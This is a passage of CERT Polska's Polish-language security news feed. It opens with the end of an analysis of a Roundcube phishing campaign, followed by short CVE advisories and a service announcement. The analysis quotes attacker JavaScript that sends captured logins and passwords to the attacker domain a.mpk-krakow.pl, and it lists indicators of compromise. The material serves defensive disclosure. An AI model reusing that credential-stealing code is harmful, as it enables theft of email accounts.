      &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;username&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;_user&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;pass&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;password&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;_pass&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="nx"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;https://a.mpk-krakow.pl/creds&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
          &lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
            &lt;span class="nx"&gt;login&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="nx"&gt;password&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;pass&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="p"&gt;(...)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Z informacji uzyskanych od jednego z zaatakowanych podmiotów wynika, że atakujący po uzyskaniu poświadczeń i zalogowaniu się na przejętą skrzynkę analizuje jej zawartość, pobiera książkę adresową i w niektórych przypadkach używa przejętego maila do dalszej wysyłki wiadomości.&lt;/p&gt;
&lt;p&gt;Warto ponownie podkreślić, że w tym tygodniu &lt;a href="https://moje.cert.pl/komunikaty/4/"&gt;ukazała się krytyczna podatność&lt;/a&gt; pozwalająca na zdalnie wykonanie kodu dowolnemu uwierzytelnionemu użytkownikowi Roundcube. Nie widzieliśmy jej wykorzystania w tym ataku, ale dodanie jej jako element ataku pozwoliłoby atakującemu na pełne przejęcie kontroli na serwerem.&lt;/p&gt;
&lt;h2&gt;Zalecenia&lt;/h2&gt;
&lt;p&gt;Wszystkim podmiotom używającym oprogramowania Roundcube rekomendujemy:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Aktualizację oprogramowania Roundcube do najnowszej wersji, obecnie są to wersje 1.6.11 i 1.5.10&lt;/li&gt;
&lt;li&gt;Analizę logów pod kątem połączeń z domeną &lt;code&gt;a.mpk-krakow[.]pl&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Analizę otrzymanych maili pod kątem nadawców i tytułu opisanego w sekcji IoC&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Podmiotom, które były celem ataku, rekomendujemy:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Zmianę haseł użytkowników, którzy otrzymali wiadomość&lt;/li&gt;
&lt;li&gt;Weryfikację aktywności na kontach użytkowników, którzy otrzymali wiadomość&lt;/li&gt;
&lt;li&gt;Wyrejestrowanie Service Workera - w tym celu będąc na stronie poczty elektronicznej, należy przycisnąć klawisz F12, następnie przejść do zakładki Aplikacje -&amp;gt; Service Workers i wybrać opcję Wyrejestruj&lt;/li&gt;
&lt;li&gt;Wszystkie podmioty, które otrzymały wiadomość, powinny niezwłocznie wykonać zgłoszenie do właściwego dla siebie CSIRT-u poziomu krajowego:&lt;ul&gt;
&lt;li&gt;CSIRT NASK - &lt;a href="https://incydent.cert.pl"&gt;incydent.cert.pl&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;CSIRT MON - csirt-mon@ron.mil.pl&lt;/li&gt;
&lt;li&gt;CSIRT GOV - incydent@csirt.gov.pl&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;IoC&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;irina.vingriena@gmail[.]com&lt;/code&gt; – adres nadawcy&lt;/li&gt;
&lt;li&gt;&lt;code&gt;julitaszczepanska38@gmail[.]com&lt;/code&gt; – adres nadawcy&lt;/li&gt;
&lt;li&gt;&lt;code&gt;2001:67c:e60:c0c:192:42:116:216&lt;/code&gt; – adres źródłowy serwera SMTP&lt;/li&gt;
&lt;li&gt;&lt;code&gt;[!WAZNE] Faktura do numeru rezerwacji: S2500650676&lt;/code&gt; – temat wiadomości&lt;/li&gt;
&lt;li&gt;&lt;code&gt;70cea07c972a30597cda7a1d3cd4cd8f75acad75940ca311a5a2033e6a1dd149&lt;/code&gt;, &lt;code&gt;Delivery report&lt;/code&gt; – sha256 i nazwa załączonego pliku JS&lt;/li&gt;
&lt;li&gt;&lt;code&gt;a.mpk-krakow[.]pl&lt;/code&gt; – domena wykorzystywana przez atakującego&lt;/li&gt;
&lt;/ul&gt;</content><category term="News"></category><category term="analiza"></category><category term="CVE-2024-42009"></category><category term="roundcube"></category><category term="unc1151"></category></entry><entry><title>Podatność w oprogramowaniu 2ClickPortal</title><link href="https://cert.pl/posts/2025/06/CVE-2025-4568/" rel="alternate"></link><published>2025-06-05T12:00:00+01:00</published><updated>2025-06-05T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-06-05:/posts/2025/06/CVE-2025-4568/</id><summary type="html">W oprogramowaniu 2ClickPortal firmy Trol InterMedia wykryto podatność typu SQL Injection (CVE-2025-4568).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu 2ClickPortal firmy Trol InterMedia i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-4568"&gt;CVE-2025-4568&lt;/a&gt;: Nieprawidłowa neutralizacja danych wejściowych dostarczonych przez nieautoryzowanego użytkownika w parametrze &lt;em&gt;changes__reference_id&lt;/em&gt; w adresie URL umożliwia ataki typu Blind SQL Injection (boolean-based).&lt;/p&gt;
&lt;p&gt;Podatność została usunięta w wersji 2ClickPortal 7.14.3.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Kamilowi Szczurowskiemu i Robertowi Kruczkowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności w aplikacjach preinstalowanych na telefonach Ulefone oraz Krüger&amp;Matz</title><link href="https://cert.pl/posts/2025/05/CVE-2024-13915/" rel="alternate"></link><published>2025-05-30T16:00:00+01:00</published><updated>2025-05-30T16:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-05-30:/posts/2025/05/CVE-2024-13915/</id><summary type="html">W aplikacjach preinstalowanych na telefonach Ulefone oraz Krüger&amp;Matz wykryto 3 podatności różnego typu (od CVE-2024-13915 do CVE-2024-13917).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie dotyczące podatności w aplikacjach fabrycznie zainstalowanych na telefonach Ulefone i Krüger&amp;amp;Matz i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-13915"&gt;CVE-2024-13915&lt;/a&gt;: Telefony z systemem Android od producentów takich jak Ulefone i Krüger&amp;amp;Matz zawierają aplikację "com.pri.factorytest", instalowaną fabrycznie podczas procesu produkcji.
Aplikacja „com.pri.factorytest” (version name: 1.0, version code: 1) udostępnia usługę "com.pri.factorytest.emmc.FactoryResetService", która umożliwia dowolnej aplikacji uruchomienie funkcji przywrócenia ustawień fabrycznych urządzenia.
Zaktualizowana aplikacja nie ma wyższej wersji, została jednak dołączona do wydań systemu operacyjnego datowanych po grudniu 2024 roku w przypadku Ulefone i najprawdopodobniej po marcu 2025 roku w przypadku Krüger&amp;amp;Matz (producent nie potwierdził jednak tej informacji, więc nowsze wydania również mogą być podatne).&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-13916"&gt;CVE-2024-13916&lt;/a&gt;: Aplikacja "com.pri.applock", fabrycznie zainstalowana na telefonach Krüger&amp;amp;Matz, umożliwia użytkownikowi szyfrowanie dowolnych aplikacji za pomocą kodu PIN lub danych biometrycznych.
Publiczna metoda "query()" udostępniona przez dostawcę treści "com.android.providers.settings.fingerprint.PriFpShareProvider" umożliwia złośliwej aplikacji, nieposiadającej żadnych uprawnień systemowych Androida, pozyskanie kodu PIN.
Producent nie udostępnił informacji o podatnych wersjach.
Jedynie wersja (version name: 13, version code: 33) została przetestowana i potwierdzono w niej podatność.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2024-13917"&gt;CVE-2024-13917&lt;/a&gt;: Aplikacja "com.pri.applock", fabrycznie zainstalowana na telefonach Krüger&amp;amp;Matz, umożliwia użytkownikowi szyfrowanie dowolnych aplikacji za pomocą kodu PIN lub danych biometrycznych.
Udostępniona aktywność "com.pri.applock.LockUI" pozwala dowolnej złośliwej aplikacji, nieposiadającej żadnych uprawnień systemowych Androida, wstrzyknąć dowolny intent do chronionej aplikacji z uprawnieniami systemowymi. Warunkiem jest znajomość kodu PIN (który może zostać ujawniony poprzez wykorzystanie CVE-2024-13916) lub uzyskanie go od użytkownika.
Producent nie udostępnił informacji o podatnych wersjach.
Jedynie wersja (version name: 13, version code: 33) została przetestowana i potwierdzono w niej podatność.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Szymonowi Chadamowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatności TCC Bypass w trzech aplikacjach na systemy macOS</title><link href="https://cert.pl/posts/2025/05/tcc-bypass/" rel="alternate"></link><published>2025-05-29T11:55:00+01:00</published><updated>2025-05-29T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-05-29:/posts/2025/05/tcc-bypass/</id><summary type="html">W trzech aplikacjach na systemy macOS została wykryta podatność typu TCC Bypass: Poedit (CVE-2025-4280), Viscosity (CVE-2025-4412), DaVinci Resolve (CVE-2025-4081)</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach występujących w trzech aplikacjach na systemy macOS i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;h4&gt;Poedit&lt;/h4&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-4280"&gt;CVE-2025-4280&lt;/a&gt;: Wersja Poedit na urządzenia z systemem macOS posiada interpreter Python, który dziedziczy uprawnienia nadane głównej aplikacji w systemie Transparency, Consent, and Control (TCC). Atakujący z lokalnym dostępem może uruchomić ten interpreter, za pomocą poleceń bądź skryptów, i wykorzystać uprawnienia głównej aplikacji do uzyskiwania dostępu do plików użytkownika w chronionych folderach, bez wywoływania monitów z prośbą o przyznanie dostępu. Dostęp do pozostałych zasobów, do których uprawnienia nie zostały przyznane, wywoła monit z prośbą o akceptację w imieniu aplikacji Poedit, potencjalnie maskując złośliwe zamiary atakującego. &lt;/p&gt;
&lt;p&gt;Ta podatność została usunięta w wersji Poedit 3.6.3.&lt;/p&gt;
&lt;h4&gt;Viscosity&lt;/h4&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-4412"&gt;CVE-2025-4412&lt;/a&gt;: W systemie operacyjnym macOS, wykorzystując agenta uruchamiania (Launch Agent) i ładując proces viscosity_openvpn, możliwe jest załadowanie dynamicznej biblioteki z uprawnieniami Transparency, Consent, and Control (TCC) aplikacji Viscosity. Uzyskany dostęp do zasobów jest ograniczony i nie obejmuje uprawnień takich jak dostęp do kamery czy mikrofonu. Dynamiczna biblioteka uzyskuje jedynie uprawnienia do zasobów plikowych przyznanych wcześniej przez użytkownika (domyślnie aplikacja nie ma przyznanych żadnych uprawnień, w tym również do plików). Dostęp do pozostałych zasobów poza nadanymi uprawnieniami wymaga interakcji użytkownika z systemowym monitem z prośbą o nadanie dostępu.&lt;/p&gt;
&lt;p&gt;Ta podatność została usunięta w wersji 1.11.5 aplikacji Viscosity.&lt;/p&gt;
&lt;h4&gt;DaVinci Resolve&lt;/h4&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-4081"&gt;CVE-2025-4081&lt;/a&gt;: Obecność uprawnienia "com.apple.security.cs.disable-library-validation" wraz z brakiem ograniczeń dotyczących uruchamiania i ładowania bibliotek umożliwia podmianę dynamicznej biblioteki. Atakujący z dostępem do nieuprzywilejowanego konta może podmienić dynamiczną bibliotekę i uruchomić aplikację, omijając w ten sposób system Transparency, Consent, and Control (TCC). Dynamiczna biblioteka uzyskuje jedynie uprawnienia do zasobów wcześniej przyznanych przez użytkownika. Dostęp do pozostałych zasobów, wymaga interakcji użytkownika z systemowym monitem z prośbą o nadanie dostępu.&lt;/p&gt;
&lt;p&gt;Ta podatność dotyczy wszystkich wersji DaVinci Resolve na systemy operacyjne macOS. Ostatnia testowana wersja: 19.1.3&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenia podatności dziękujemy Karolowi Mazurkowi z Afine.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w otwartoźródłowym projekcie hackney</title><link href="https://cert.pl/posts/2025/05/CVE-2025-3864/" rel="alternate"></link><published>2025-05-28T11:00:00+01:00</published><updated>2025-05-28T11:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-05-28:/posts/2025/05/CVE-2025-3864/</id><summary type="html">W oprogramowaniu hackney wykryto nieprawidłowe zachowanie prowadzące do wyczerpania puli połączeń (CVE-2025-3864).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu hackney i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-3864"&gt;CVE-2025-3864&lt;/a&gt;: Biblioteka hackney nieprawidłowo zwalnia połączenia HTTP do puli po obsłużeniu odpowiedzi 307 Temporary Redirect. Zdalni atakujący mogą wykorzystać ten problem do wyczerpania puli połączeń, co prowadzi do odmowy usługi (DoS) w aplikacjach korzystających z tej biblioteki.
Poprawka dla tej podatności została zawarta w wersji 1.24.0.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy członkom zespołu Afine: Michałowi Majchrowiczowi, Marcinowi Wyczechowskiemu oraz Pawłowi Zdunkowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu kart hotelowych Be-Tech Mifare Classic</title><link href="https://cert.pl/posts/2025/05/CVE-2025-4053/" rel="alternate"></link><published>2025-05-26T12:00:00+01:00</published><updated>2025-05-26T12:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-05-26:/posts/2025/05/CVE-2025-4053/</id><summary type="html">W oprogramowaniu kart hotelowych Be-Tech Mifare Classic wykryto podatność typu Cleartext Storage of Sensitive Information (CVE-2025-4053).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu kart hotelowych Be-Tech Mifare Classic i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-4053"&gt;CVE-2025-4053&lt;/a&gt;: Dane przechowywane na karcie Be-Tech Mifare Classic są w postaci niezaszyfrowanej.
Atakujący, mający dostęp do karty gościa hotelowego Be-Tech Mifare Classic, może stworzyć kartę z kluczem głównym, która otwiera wszystkie zamki w budynku.&lt;/p&gt;
&lt;p&gt;Problem ten dotyczy wszystkich systemów kart Be-Tech Mifare Classic. Aby usunąć podatność, potrzebna jest wymiana oprogramowania, kodera, kart oraz płytek PCB w zamkach.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Sławomirowi Jaskowi (smartlockpicking.com).&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Podatność w oprogramowaniu Studio Fabryka DobryCMS</title><link href="https://cert.pl/posts/2025/05/CVE-2025-4379/" rel="alternate"></link><published>2025-05-23T11:55:00+01:00</published><updated>2025-05-23T11:55:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-05-23:/posts/2025/05/CVE-2025-4379/</id><summary type="html">W oprogramowaniu Studio Fabryka DobryCMS wykryto podatność typu Cross-site Scripting (XSS) (CVE-2025-4379).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatności w oprogramowaniu Studio Fabryka DobryCMS i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-4379"&gt;CVE-2025-4379&lt;/a&gt;: DobryCMS w wersjach 2.* i niższych jest podatny na atak typu Reflected Cross-Site Scripting (XSS). Niewłaściwa walidacja danych wejściowych w parametrze "szukaj" umożliwia wykonanie dowolnego kodu JavaScript w przeglądarce ofiary po otwarciu specjalnie spreparowanego adresu URL.&lt;/p&gt;
&lt;p&gt;Łatka naprawcza dla podatnych wersji została opublikowana 29.04.2025. Podatność została usunięta bez zwiększania wersji oprogramowania.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Kamilowi Szczurowskiemu oraz Robertowi Kruczkowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Trzy podatności w oprogramowaniu MegaBIP</title><link href="https://cert.pl/posts/2025/05/CVE-2025-3893/" rel="alternate"></link><published>2025-05-23T10:00:00+01:00</published><updated>2025-05-23T10:00:00+01:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-05-23:/posts/2025/05/CVE-2025-3893/</id><summary type="html">W oprogramowaniu MegaBIP wykryto 3 podatności różnego typu (od CVE-2025-3893 do CVE-2025-3895).</summary><content type="html">&lt;h2&gt;Opis podatności&lt;/h2&gt;
&lt;p&gt;CERT Polska otrzymał zgłoszenie o podatnościach w oprogramowaniu MegaBIP i koordynował proces ujawniania informacji.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-3893"&gt;CVE-2025-3893&lt;/a&gt;: Podczas edycji stron zarządzanych przez MegaBIP, użytkownik z wysokimi uprawnieniami jest proszony o podanie uzasadnienia dla wykonania tej operacji. Wprowadzone dane nie są poprawnie sanityzowane, co prowadzi do podatności typu SQL Injection.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-3894"&gt;CVE-2025-3894&lt;/a&gt;: Edytor tekstu wbudowany w oprogramowanie MegaBIP nie neutralizuje danych wejściowych użytkownika, umożliwiając przeprowadzenie ataku Stored XSS na innych użytkownikach. Do korzystania z edytora wymagane są wysokie uprawnienia.&lt;/p&gt;
&lt;p&gt;Podatność &lt;a href="https://www.cve.org/CVERecord?id=CVE-2025-3895"&gt;CVE-2025-3895&lt;/a&gt;: Tokeny używane do resetowania haseł w oprogramowaniu MegaBIP są generowane w oparciu o niewielką przestrzeń losowych wartości połączonych z wartością możliwą do zapytania. Pozwala to nieuwierzytelnionemu atakującemu, który zna loginy użytkowników, na odgadnięcie tych tokenów metodą brute force i zmianę haseł do kont (w tym także kont administratorów).&lt;/p&gt;
&lt;p&gt;Wersja 5.20 oprogramowania MegaBIP usuwa te podatności.&lt;/p&gt;
&lt;h2&gt;Podziękowania&lt;/h2&gt;
&lt;p&gt;Za zgłoszenie podatności dziękujemy Kamilowi Szczurowskiemu i Robertowi Kruczkowi.&lt;/p&gt;</content><category term="CVE"></category><category term="podatność"></category><category term="ostrzeżenie"></category><category term="cve"></category></entry><entry><title>Rozwijamy moje.cert.pl - nowa funkcja już dostępna!</title><link href="https://cert.pl/posts/2025/05/moje.cert.pl-powiadomienia/" rel="alternate"></link><published>2025-05-22T14:00:00+02:00</published><updated>2025-05-22T14:00:00+02:00</updated><author><name>CERT Polska</name></author><id>tag:cert.pl,2025-05-22:/posts/2025/05/moje.cert.pl-powiadomienia/</id><summary type="html">Na początku roku uruchomiliśmy serwis moje.cert.pl, podnoszący i rozwijający cyberbezpieczeństwo dzięki szeregowi usług i narzędzi. Od startu w serwisie zarejestrowało się ponad 11 tysięcy użytkowników. To dla nich włączamy dziś nową funkcję – komunikaty o zagrożeniach.</summary><content type="html">&lt;style&gt;
.article .thumbnail {
    display: inline-block;
    margin: 0 0 5px 20px;
    float: right;
    width: 100%;
    max-width: 450px;
}

.article .centered {
    max-width: 800px;
    width: 100%;
    margin: 2em auto;
}

&lt;/style&gt;

&lt;p&gt;&lt;img class="thumbnail" src="/uploads/2025/05/moje.cert.pl-powiadomienia/moje.cert.pl-kv.png" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Na początku roku uruchomiliśmy serwis &lt;a href="https://moje.cert.pl"&gt;moje.cert.pl&lt;/a&gt;, podnoszący i rozwijający cyberbezpieczeństwo dzięki szeregowi usług i narzędzi. Od startu w serwisie zarejestrowało się ponad 11 tysięcy użytkowników. To dla nich włączamy dziś nową funkcję – komunikaty o zagrożeniach.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://moje.cert.pl/komunikaty/"&gt;W nowej zakładce&lt;/a&gt; będziemy umieszczać ostrzeżenia dotyczące polskiej cyberprzestrzeni i alerty o podatnościach. Komunikaty są od dziś widoczne w serwisie oraz za pomocą RSS, a po rejestracji i wyrażeniu zgody można je otrzymywać także mailowo. W planach mamy włączenie możliwości wysyłania komunikatów również przez CSIRTy sektorowe.&lt;/p&gt;
&lt;p&gt;W ramach moje.cert.pl każdy - zarówno osoba prywatna posiadająca stronę internetową, jak i mała firma czy duża instytucja publiczna udostępniająca wiele skomplikowanych systemów, może budować i rozwijać swoje cyberbezpieczeństwo. W serwisie można: zamówić bezpłatne skanowanie bezpieczeństwa wszystkich swoich domen, uzyskać informacje na temat wycieków haseł, otrzymywać informacje o infekcjach szkodliwym oprogramowaniem oraz sprawdzić czy dana sieć jest chroniona przez &lt;a href="/lista-ostrzezen/"&gt;Listę Ostrzeżeń przed niebezpiecznymi stronami&lt;/a&gt;. Ale to nie koniec! Serwis jest stale rozwijany. Komunikaty to pierwsze z wielu usprawnień serwisu, które zespół CERT Polska planuje w najbliższym czasie. Zachęcamy do korzystania z &lt;a href="https://moje.cert.pl"&gt;moje.cert.pl&lt;/a&gt;!&lt;/p&gt;
&lt;div class="centered"&gt;
    &lt;a href="https://moje.cert.pl/komunikaty/"&gt;&lt;img src="/uploads/2025/05/moje.cert.pl-powiadomienia/moje.cert.pl-powiadomienie.png" /&gt;&lt;/a&gt;
&lt;/div&gt;</content><category term="News"></category><category term="informacja"></category><category term="moje.cert.pl"></category><category term="powiadomienia"></category></entry></feed>